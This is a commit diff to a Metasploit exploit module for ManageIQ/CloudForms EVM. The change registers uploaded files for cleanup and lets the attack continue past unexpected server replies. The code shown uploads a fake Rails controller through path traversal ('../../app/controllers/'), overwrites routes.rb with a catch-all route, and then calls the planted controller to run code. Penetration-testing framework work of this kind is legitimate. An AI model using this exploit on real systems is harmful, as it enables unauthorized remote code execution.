Fix cfme_manageiq_evm_upload_exec according to chat with @rcvalle

Author: jvazquez-r7

modules/exploits/linux/http/cfme_manageiq_evm_upload_exec.rb

@@ -8,6 +8,7 @@
 class Metasploit4 < Msf::Exploit::Remote
 
   include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::FileDropper
 
   def initialize
     super(
@@ -93,15 +94,27 @@ def exploit
 
     print_status("Sending fake-controller upload request to #{target_url('agent', 'linuxpkgs')}...")
     res = upload_file("../../app/controllers/#{controller}_controller.rb", data)
-
-    fail_with(Failure::Unknown, 'No response from remote host') unless res and res.code == 500
+    fail_with(Failure::Unknown, 'No response from remote host') if res.nil?
+    register_files_for_cleanup("app/controllers/#{controller}_controller.rb")
+    # According to rcvalle, all the version have not been checked
+    # so we're not sure if res.code will be always 500, in order
+    # to not lose sessions, just print warning and proceeding
+    unless res and res.code == 500
+      print_warning("Unexpected reply but proceeding anyway...")
+    end
 
     if datastore['ROUTES']
       data = "Vmdb::Application.routes.draw { root :to => 'dashboard#login'; match ':controller(/:action(/:id))(.:format)' }\n"
 
       print_status("Sending routing-file upload request to #{target_url('agent', 'linuxpkgs')}...")
       res = upload_file("../../config/routes.rb", data)
-      fail_with(Failure::Unknown, 'No response from remote host') unless res and res.code == 500
+      fail_with(Failure::Unknown, 'No response from remote host') if res.nil?
+      # According to rcvalle, all the version have not been checked
+      # so we're not sure if res.code will be always 500, in order
+      # to not lose sessions, just print warning and proceeding
+      unless res and res.code == 500
+        print_warning("Unexpected reply but proceeding anyway...")
+      end
     end
 
     print_status("Sending execute request to #{target_url(controller, action)}...")